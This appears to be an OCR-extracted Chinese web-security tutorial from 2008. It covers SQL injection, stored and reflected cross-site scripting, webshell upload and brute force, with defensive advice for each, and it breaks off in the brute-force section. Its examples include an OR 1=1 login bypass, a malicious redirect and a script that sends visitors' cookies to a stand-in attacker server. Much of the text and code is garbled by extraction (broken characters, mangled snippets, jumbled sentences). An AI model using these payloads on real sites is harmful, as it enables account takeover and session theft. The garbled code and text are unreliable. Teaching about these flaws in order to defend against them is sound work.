BS程序代碼安全基本攻擊防御模式

1、BS 程序代碼與安全與基本攻擊 / 防御模式BearOcean 2008-06-021.引言1.1.文檔說明 :1.2.文檔組織方式2.正文2.1.SQL 注入2.1.1.攻擊模式 :2.1.2.防御辦法 :2.2.腳本注入2.2.1.攻擊模式2.2.2.防御方式2.3.跨站攻擊2.3.1.攻擊模式2.3.2.防御方式2.4.shell 上傳2.4.1.攻擊模式2.4.2.防御方式2.5.爆破2.5.1.攻擊模式2.5.2. 防御方式3. 結(jié)語1. 引言1.1. 文檔說明 :該文檔主要闡述在 BS 程序中，安全性方面的注意事項。常見的主要攻擊模式，以及為了防 御這些不同的攻擊手段，作為技術(shù)人員

2、建議注意的編碼事項。該文檔包含的內(nèi)容主要是個人對于 Internet 安全性問題的理解。以及對這些問題進行規(guī)避 的方法整理，難免有誤，也歡迎大家進行指正和補充。另注 : 該文檔出現(xiàn)的編碼均為偽代碼。1.2. 文檔組織方式 :該文檔主要按照攻擊模式進行分類整理，每個攻擊模式的小專題分 2部分內(nèi)容 :(1) 攻擊模式詳述(2) 防御方式與建議實際對于攻擊模式詳述部分， 盡可能多的舉出案例來進行說明，已方便理解。而防御方式，上通常只有在對攻擊模式理解的前提下，才可能真正確保防御的有效。2. 正文2.1. SQL 注入2.1.1. 攻擊模式 :SQL注入的成因主要是因為向 DB提供的SQL是用字符串拼

3、裝的方式生成的。最經(jīng)常遭受SQL注入的頁面通常是管理員/用戶登陸點。不論是 asp或是jsp，如果不正確 的編碼，都會出現(xiàn)這個漏洞。下面以一個實例來闡述 SQL注入的成因。假設(shè)我們有一個JSP頁面login.jsp ,用于搜集管理員輸入的用戶名和密碼。用戶點擊按鈕，將會把收集到的用戶名與密碼提交到指定的控制組件(Struts:Action,或者Servlet).在該組件中調(diào)用chekLogin(String userName, String passWord)進行登陸驗證，以從頁面收集到的用戶名和密碼信息拼裝出SQL字符串，供DAO下層使用，以從數(shù)據(jù)庫中的管理員記錄表中讀取數(shù)據(jù)，如果從表中找到

4、匹配的記錄，則表示驗證成功，我們將返回相應(yīng)得管理員實體類。否則返回Null表示登陸驗證失敗。這是一個非常簡單的邏輯模塊，如下圖所示這個邏輯產(chǎn)生注入漏洞的關(guān)鍵在于checkAdmi nLogin 方法。因為在該方法中，我們以這種方式進行編碼：public Adm in checkAdm in Logi n( Stri ng userName, String password/拼裝 SQL 字符串String strSQL = ”SELECT * FROM TD_ADMIN AS A WHEREA.USERNAME=” +userName +” AND A.PASSWORD=” +password

5、+ ”?！?后續(xù)通過 DAO 提交該 SQL 到數(shù)據(jù)庫獲得查詢結(jié)果，省略這個生成 SQL 的方式，記得剛接觸數(shù)據(jù)庫編程的時候，有很多書籍的范例代碼也是這樣書 寫的，咋一看沒有什么問題， 但是由于沒有對可能的輸入作一個全面的考慮， 所以便產(chǎn)生了 注入漏洞。如果有人試圖在這里進行惡意攻擊，那么他可以在登陸名輸入框中輸入 123 （其 實其他的任意值也可 ） 而在密碼輸入框中輸入 OR 1=1那么由于我們的 SQL 是靠拼出來的，所以最終提交給數(shù)據(jù)庫的將是 :SELECT * FROM TD_ADMIN AS A WHERE A.USERNAME=123 AND A.PASSWORD=OR 1=1很

6、顯然，這句 SQL 由于后面被加上了永真條件，登陸是一定成功的。那么不論登陸者是否 是管理員，輸入 OR 1，=他1都將能夠登陸系統(tǒng)。更有甚者，我可以在輸入框中輸入數(shù)據(jù)庫的 SQL 注釋符，然后填寫我想讓數(shù)據(jù)庫執(zhí)行的操 作例如 DROP SOMETABLE 一類的。所以注入漏洞的危害實際是非常大的。SQL 注入漏洞的根本原因是，由于我們編碼時的不小心，導(dǎo)致用戶可以通過輸入來改變要 執(zhí)行的邏輯，甚至輸入新的邏輯。但是， 越是嚴(yán)重和顯而易見的代碼安全問題，實際要修補 卻也是越容易的。2.1.2. 防御辦法 :A: 加上驗證 （或者字符過濾 ）在網(wǎng)上搜索關(guān)于對 SQL 注入的防護問題，有很多答案提供

7、的是對輸入字符串進行驗證/或者是過濾，甚至有人提供了字符串過濾代碼。這種方案指出: SQL 注入的成因是攻擊者在輸入框中輸入了有特殊意義的字符， 如單引號，或者是數(shù)據(jù)庫特定的注釋符號， 或者是執(zhí)行分 隔符的分號。那么我們在控制層進行驗證， 禁止用戶輸入這些符號， 或者將這些符號進行轉(zhuǎn)義是否可以杜絕 SQL 注入 ?表面上看似乎是可以的， 因為在控制層中， 用戶如果試圖輸入 OR 1將=得1到類似 ”不允 許輸入單引號 ”的提示從而系統(tǒng)拒絕了本次執(zhí)行。但是，這樣的防御方案有非常大的缺陷 :第一 : 輸入驗證應(yīng)該與具體的邏輯掛鉤，而不應(yīng)該與安全防護中的防注入產(chǎn)生過密的依賴。 用戶名和密碼的輸入驗證

8、和新聞內(nèi)容的輸入驗證是不同的。例如， 對于新聞的按內(nèi)容搜索又應(yīng)該允許輸入單引號， 因為新聞內(nèi)容本身是允許包含單引號的。 所以輸入驗證不能從根本上 解決問題。一個疏忽帶來的結(jié)果將是滿盤皆輸。第二: 提出這種解決方案實際上是沒有真正的理解 SQL 注入， SQL 注入的問題并不是出在 不合法字符的問題上。這只是表象， SQL 注入的真正原因是系統(tǒng)沒有辦法嚴(yán)格地控制程序 邏輯與輸入?yún)?shù)之間的分離，系統(tǒng)存在漏洞讓系統(tǒng)是用者有地方可以把自己的輸入（本應(yīng)該是參數(shù) ）變成了程序邏輯的一部分。B: 控制與參數(shù)分離試想我們給用戶提供一個接口， 這個接口帶一個參數(shù)， 用戶填寫這個的這個參數(shù)將決定下面 的代碼執(zhí)行序

9、列。那么用戶可以通過這個接口來命令系統(tǒng)做任何事情。其實 SQL 注入就是 這個原因。產(chǎn)生這個問題的最根本的原因是，系統(tǒng)應(yīng)該有能力明確的劃分什么是邏輯，什么是參數(shù)。所以解決 SQL 注入的最根本辦法是使用 Template 模式。如下圖所示那么用戶的輸入會作為 Bus iness Object的參數(shù)存在。但是不管用戶輸入什么。都無法脫離 程序員設(shè)置的Templete （邏輯模板）。最后Templete + Parameters 將決定程序具體的執(zhí)行。Java中對該模式的實現(xiàn)有 PreparedStatment 或者NamingQuery 類的技術(shù)。詳細(xì)內(nèi)容可 以參見相關(guān)文檔。由于他們實現(xiàn)了參數(shù)與

10、邏輯的分離，所以將從根本上杜絕SQL注入。使用PreparedStatement還有其他好處，除了安全方面的考慮，由于數(shù)據(jù)庫的編譯特性，在性能上也有所提高。2.2. 腳本注入2.2.1.攻擊模式這里所說的腳本，通常所指的是 JavaScript腳本，雖然JavaScript運行于客戶端，并且有 安全沙箱的保護，但是放任惡意 JavaScript腳本是十分危險的。JavaScript 腳本和 Dom 模型，腳本注入也是一種技術(shù)含量低的攻擊方式。需要攻擊者熟悉 如果會運用 Ajax 技術(shù)，更是如虎添翼。如果你了解這兩項技術(shù)，便可以在網(wǎng)上搜索你的目 標(biāo)。一個網(wǎng)站， 如果對輸入未做合理的驗證或過濾，

11、在顯示輸出的時候又未做合適的格式化， 那 么便存在這種漏洞。下面舉一個實例 :我們有一個新聞?wù)军c。 每個新聞允許瀏覽者進行評論， 瀏覽者提交的評論將被存儲在數(shù)據(jù)據(jù) 庫專門的表中，并且將被顯示在新聞的下邊。這個邏輯很正常， 沒有什么問題。 但是很可惜的是開發(fā)者除了字符長度沒有在后端做任何輸 入合法驗證。那么這個站點的評論輸入，必然給壞蛋們有機可乘。假設(shè)我們在評論中輸入如下內(nèi)容 :vscript Ianguage=javascript ” 哈廠（傻了吧，這個地方存在腳本注入漏洞.”。）/script那么， 這句話將被存儲在數(shù)據(jù)庫評論表中。以后， 每一個瀏覽者打開這個新聞頁面是， 都將 會彈出這樣一

12、個消息框。攻擊者很仁慈，沒有做過多的破壞。但是如果輸入 :window.Iocation.href=” www.baidK/scmpf那么打開這個新聞頁面，該頁面將被從定向到 baidu 的頁面上。如果目標(biāo)頁面不是 baidu. 而是一個有惡意代碼的頁面。那么每個瀏覽者的機器都可能中毒。注入上述腳本的攻擊者不夠聰明或者只是想好心的提示。因為他們注入的東西太容易被人發(fā)覺。我們有別的方式把活干的隱蔽， 畢竟開發(fā)者和維護人員都不可能對評論一條一條得進行檢查。我們注入 :好文 ! 頂那么在新聞頁面上，將看不到任何異狀。但是瀏覽器其實可能正在悄悄得下載病毒。WEB2.0的流行使頁面效果更加絢麗，同時也使

13、腳本注入的攻擊力提高不少。曾經(jīng)了解這樣一種攻擊模式刮用窈取的信息實施攻擊攻擊者在幕后準(zhǔn)備了服務(wù)器去接受Ajax提交的請求。攻擊者通常有自己的服務(wù)器（通常是肉雞）,在上面部署了合適的代碼。在目標(biāo)站點，存在注入點的頁面注入如下代碼：我也來頂！vscript Ianguage=” javascript ”var strTargetMessage =win dow.cockie, strTargetMessage) 。AjaxSend（ “黑客掌握的服務(wù)器監(jiān)聽點很簡單的代碼，而且極難被發(fā)覺。但是這樣，每個登錄者在訪問這個頁面的時候，其 cockie 信息都將被發(fā)送給攻擊者。掌握了 cockie 中存放

14、的 JSESSIONID, 那么攻擊者便可以冒充該登錄者來做想做的事情， 比如說轉(zhuǎn)帳 （但一般銀行有 SSL 授權(quán)的密鑰 ）.不管怎么樣，很危險了。2.2.2. 防御方式提供合理的過濾或者轉(zhuǎn)換程序， 在輸入存放于數(shù)據(jù)庫前， 或者是顯示在頁面前對數(shù)據(jù)進行處 理。盡一切可能，避免用戶的輸入有執(zhí)行的可能。具體代碼，因不同的后端語言不同，但是工程提供有效，統(tǒng)一的過濾處理方式是合理的。該攻擊方法成立的原因是， 瀏覽器在對頁面進行解讀時， 不可能區(qū)分哪一段是客戶輸入， 哪 一段是預(yù)編制的模板或 Html 或腳本。有人曾經(jīng)提出，確保評論內(nèi)容出現(xiàn)在 中可以避免這個問題。如:那么評論內(nèi)容將得到原樣顯示，并不會執(zhí)

15、行其中的腳本。但是這樣的解決方案是不正確的。因為我只需要對注入稍加改動 :var strTargetMessage =window.cockie 。AjaxSend（ “黑客掌握的服務(wù)器監(jiān)聽點 ” , strTargetMessage） 。那么實際上注入腳本將 塊閉合了，腳本仍然會得到執(zhí)行。2.3. 跨站攻擊2.3.1. 攻擊模式跨站攻擊和腳本注入非常相似。有很多資料并沒有區(qū)分這兩種攻擊。實際上，我認(rèn)為跨站和腳本注入最大的區(qū)別在于用戶提交的非法腳本是否需要持久化到服務(wù) 器。通常， 用于腳本注的惡意腳本提交后，將存儲在服務(wù)器數(shù)據(jù)庫中。 這導(dǎo)致每個訪問問題 頁面的瀏覽者都將遭到惡意腳本的攻擊。而跨

16、站攻擊多數(shù)情況是將惡意腳本構(gòu)造于 url 參數(shù) 中。通過欺騙的方式去誘使受害者點擊鏈接。而使得惡意腳本執(zhí)行。雖然，不像腳本注入，跨站攻擊必須要誘使受害者點擊鏈接才能得以執(zhí)行。但是一旦成立， 其危害將和腳本注入的危害一樣大。并且，跨站攻擊的最大問題在于漏洞難于查找，特別容易被忽略。因為人們通常記得在用戶輸入評論的地方加上過濾來避免注入， 但是防護跨站漏洞， 卻要保 證在每個處理 url 參數(shù)的頁面中都要對傳入的參數(shù)進行合法性驗證。由于程序員的疏忽或者 懶惰，往往無法做到 “每個 ”,所以即使是知名的大型網(wǎng)站也頻頻出現(xiàn)跨站漏洞。下面給出一個實例來說明跨站漏洞。一年前，我的朋友曾經(jīng)給了我一個工行網(wǎng)絡(luò)

17、銀行的地址 （ %BA%A3%CD%AC%D1%A7%D3%DA2007.5.1%C8%D5%D5%A9%C6%AD%B9%A4 %C9%CC%D2%F8%D0%D0500%CD%F2%CF%D6%BD%F0%A3%AC%CF%D6%D4 %DA%C7%B1%CC%D3%D6%D0%A3%AC%D3%D0%D7%A5%BB%F1%D5%DF%BD %B1%C0%F8%C8%CB%C3%F1%B1%D250%CD%F2%D5%FB （上面這些類似亂碼的編碼實際上是 通緝：BearOcean同學(xué)于2007.5.1日詐騙工商銀行 500萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者獎勵人民幣 50萬整字符串的urlE

18、ncoding成果物，后來工行把這個漏洞堵上了.）當(dāng)我點開頁面進行瀏覽的時候，發(fā)現(xiàn)上面顯示的是一則公告通緝：BearOcean同學(xué)于2007.5.1日詐騙工商銀行 500萬現(xiàn)金，現(xiàn)在潛逃中，有抓獲者獎勵人民幣50萬整”很顯然這是一個玩笑（我的同學(xué)沒有攻擊意圖，只是利用這個開了個玩笑），但是讓我驚訝的是即使是工行也能出現(xiàn)這樣的問題。 我們現(xiàn)在來分析出現(xiàn)這個問題的原因，以及它可能帶來的危害。工行的hotspot.jsp可以理解成一個專用于顯示一些簡短信息的頁面。他接受url中的一個參數(shù) column并把它顯示出來。這樣的頁面很常見也很有用，例如我們在注冊成功，評論新聞成功的時候，都希望有一個風(fēng) 格

19、統(tǒng)一的頁面來顯示操作結(jié)果。如果為每一個有這種需求的地方單獨開發(fā)不同的頁面，一來工作量大，二來重用性差，所以我們用一個頁面來完成這種事情。這個頁面顯示的是什么取決于輸入的參數(shù)。請看下圖：hotspot是傻子，無法智能到判定輸入的column來自于友方模塊還是來自于我的同學(xué)?？傊?，來者不拒。直接將column不加區(qū)分的顯示在 hotspot上。令人好奇的是， 該漏洞只是讓大家開開玩笑， 輸出一些好玩的東西， 那么其實這個漏洞會不 會也無傷大雅， 沒有什么危害性。我強調(diào)過， 我的同學(xué)不是惡意的攻擊者， 敏感的人能夠猜 測:如果輸入的不是用于開玩笑的字符串，而是惡意的腳本，那將如何？跨站攻擊的危害和腳

20、本注入是一樣的。惡意腳本得以執(zhí)行，一樣可用于盜取 coockie. 或以 高級別權(quán)限用戶執(zhí)行危害更嚴(yán)重的木馬上傳操作， 或者幫助瀏覽者在自己的機器上種上病毒。 與 SQL 注入不同， 腳本注入和跨站都沒有直接攻擊服務(wù)端， 實際上是攻擊了客戶端。 但是， 上述 2 種漏洞通常會成為有經(jīng)驗的黑客攻擊服務(wù)器的最喜愛跳板。2.3.2. 防御方式問題的原因已經(jīng)分析清楚，存在跨站漏洞的頁面或模塊通常未對傳入的 url 參數(shù)進行處理， 或者確定傳入來源是可靠的。最主要的防御方式與腳本注入的防御方式相同。在類似于的 hotspot 頁面中， 程序員對輸入的 colum 進行過濾， 并免任何腳本執(zhí)行的機會就 可

21、以保護站點免受跨站漏洞的攻擊。2.4. shell 上傳2.4.1. 攻擊模式shell 上傳是攻擊 BS 程序最可怕的一招。中招的站點，完全被破壞是一點也不意外的。因為 shell, 通常都有能力幫助攻擊者拿到系 統(tǒng)管理員的權(quán)限。 繞開站點的權(quán)限限制， 直接攻擊操作系統(tǒng)和 DBA, 作為攻防戰(zhàn)的防守方， 搞成這種局面，只能用完全失敗來形容了。要理解通過 shell 上傳來攻擊服務(wù)器的方式，需要理解 shell 是什么。Shell 通常是一種用特定語言編寫的程序，攻擊服務(wù)器的時候，由于通常要實現(xiàn)遠(yuǎn)程編譯比 較復(fù)雜，所以這種木馬類型的文件一般都用解釋型語言編寫 （ 或者有解釋語言特點 ）.具體語

22、言的選擇，依賴于目標(biāo)站點的開發(fā)語言。攻擊 ASP 站點的 shell 用 ASP 編寫，攻 擊 PHP 站點的 shell 用 PHP 編寫，攻擊 J2EE 的站點 Shell 可用 Jsp 來編寫。Shell通常都是基于命令的，它通常能接受攻擊者的參數(shù)。然后以功能劃分模塊進行運行。常見的命令如：列表文件，刪除文件，創(chuàng)建文件，修改文件，新建系統(tǒng)帳號，訪問操作系統(tǒng)功能。通過使用這些功能。攻擊者將能夠控制shell宿主服務(wù)器，所以站點乃至整個系統(tǒng)被shell黑破是很好理解的。設(shè)想一個攻擊者通過shell新建一個操作系統(tǒng)管理員，其實就可以拋棄shell 了。（需要說明的是，webshell通常功能較

23、弱，但是 webshell可以支持更強木 馬的上傳和執(zhí)行。）通過遠(yuǎn)程控制客戶端，便可對服務(wù)器為所欲為。攻擊者通過shell木馬，去取得其他關(guān)鍵權(quán)限，轉(zhuǎn)而對整個系統(tǒng)實施攻擊。很奇怪，明明我的服務(wù)器內(nèi)只部署了我自己開發(fā)的頁面文件和程序模塊。攻擊者是怎樣把木 馬傳上來的呢。般來說有如下方式FTP 直接指向(1) FTP: 服務(wù)器開啟了 FTP 服務(wù)，并且使用允許匿名或者弱帳號機制，Web 虛擬路徑，很多人通過這種方式來管理 /維護站點。固然方便，但是攻擊者通過端 口掃描可以很容易的找到服務(wù)器的 FTP 服務(wù)，攻擊 FTP 進而上傳 shell 木馬。 但是這種 攻擊方式以及其他利用服務(wù) /操作系統(tǒng)

24、/web 容器漏洞的服務(wù)均與開發(fā)的直接關(guān)系不大， 主要責(zé)任系維護方面，所以在這里不詳細(xì)敘述。(2) 上傳組件 : 很多站點，由于功能要求，提供文件上傳功能。這個功能，攻擊者通常都會 非常注意。 如果上傳組建的編寫有問題。 那么攻擊者就能很方便的上傳 shell. 因為和開 發(fā)關(guān)系較大，所以主要敘述的是這種上傳方式。方式 (2) 中所涉及的上傳組建通常是一些上傳功能需求引入的。 例如用戶可以自定義自已的 圖片或者是上傳商品圖片， 或者是允許上傳一些其他文件供瀏覽者下載。 這些上傳功能也頻 繁出現(xiàn)在后臺管理中。2.4.2. 防御方式關(guān)于 shell 的防御通常有如下一些事項需要注意 :(1) We

25、b 容器正確的安全設(shè)置 :如果系統(tǒng)有上傳的功能，那么上傳的文件一般都存放在固定的一個或者幾個文件夾中。最需要確保的是， 不管上傳了什么， 我們都需要保證服務(wù)器認(rèn)為這些文件是數(shù)據(jù)， 而不會誤 以為是程序模塊而使木馬得到執(zhí)行的機會。通常 web 服務(wù)器都有相關(guān)的安全設(shè)置。禁用這 幾個文件夾中的文件解釋 /執(zhí)行權(quán)限是必要的，這樣即使木馬上傳成功也無法解讀。在系統(tǒng) 上線前需要對 web 配置進行正確的配置這是一點?？偟膩碚f， 不管是利用 OS 漏洞或者是 FTP 或者是配置。 Linux 的安全性相對于 Windows 較高。目前最多的 shell 馬一般是基于 ASP 的。(2) 自己編寫上傳組件需

26、要嚴(yán)格的驗證 :很多時候我們會使用自己開發(fā)的上傳功能和組件。編寫的時候需要對上傳的文件進行驗證而不能夠不加驗證便進行保存。通常驗證的工程包括文件大小和文件后綴(文件類型 )，如僅允許 jpeg, jpg, gif 圖片格式文件上傳。 這是作為開發(fā)方需要注意的事項， 但是不結(jié)合第一點來防護仍然不安全。 目前有許多 jpg, gif shell 木馬，后綴名使用圖片格式能夠跳過驗證，但是攻擊者可以利用其他的漏洞使 木馬得以執(zhí)行。另外，通常后臺功能有修改允許上傳文件類型的功能。如果攻擊者通過其他手段( 如注入或者社會工程學(xué) ) 成功得到了后臺登陸權(quán)限，那么他仍然能夠上傳木馬。所以 (2) +(1)

27、才能使得防護真正的起到作用。 另外一點需要注意的是， 對文件的驗證一定要 在服務(wù)器端進行。前端的 javascript 驗證在安全性上將不起作用。(3) 利用已開發(fā)的第三方組件 :有很多人開發(fā)出了好用的第三方控件，如一些富文本編輯控件直接允許文件/圖片的上傳 (如FCKEditor) 這些控件有很多在功能上做的很好，但往往由于開發(fā)者安全方面考慮的不多， 會存在漏洞， 在使用第三方組件的時候可以對組件是否存在漏洞進行調(diào)查。 必要的時候可進 行代碼修改以進行安全加強。比較出名的是， 曾經(jīng)有一個很著名的 asp 后臺文件管理模塊。 出現(xiàn)了非常明顯的 shell 上傳 點。但是使用的人仍然趨之若鶩。 攻擊者們通常發(fā)現(xiàn)站點使用該組件的時候。 第一反應(yīng)就是 : 開心地笑了。甚至有人開發(fā)了專門針對該模塊的攻擊/上傳程序。2.5. 爆破2.5.1. 攻擊模式爆破和上述的攻擊方式一樣， 均是很古老的攻擊手段了。 它是很暴力很笨的攻擊方式。 不過 使用得到也具有一定的威脅。爆破的模式很簡單，一般情況如下圖所示爆破方式來獲取帳號，通常在攻擊端需要部署攻擊器和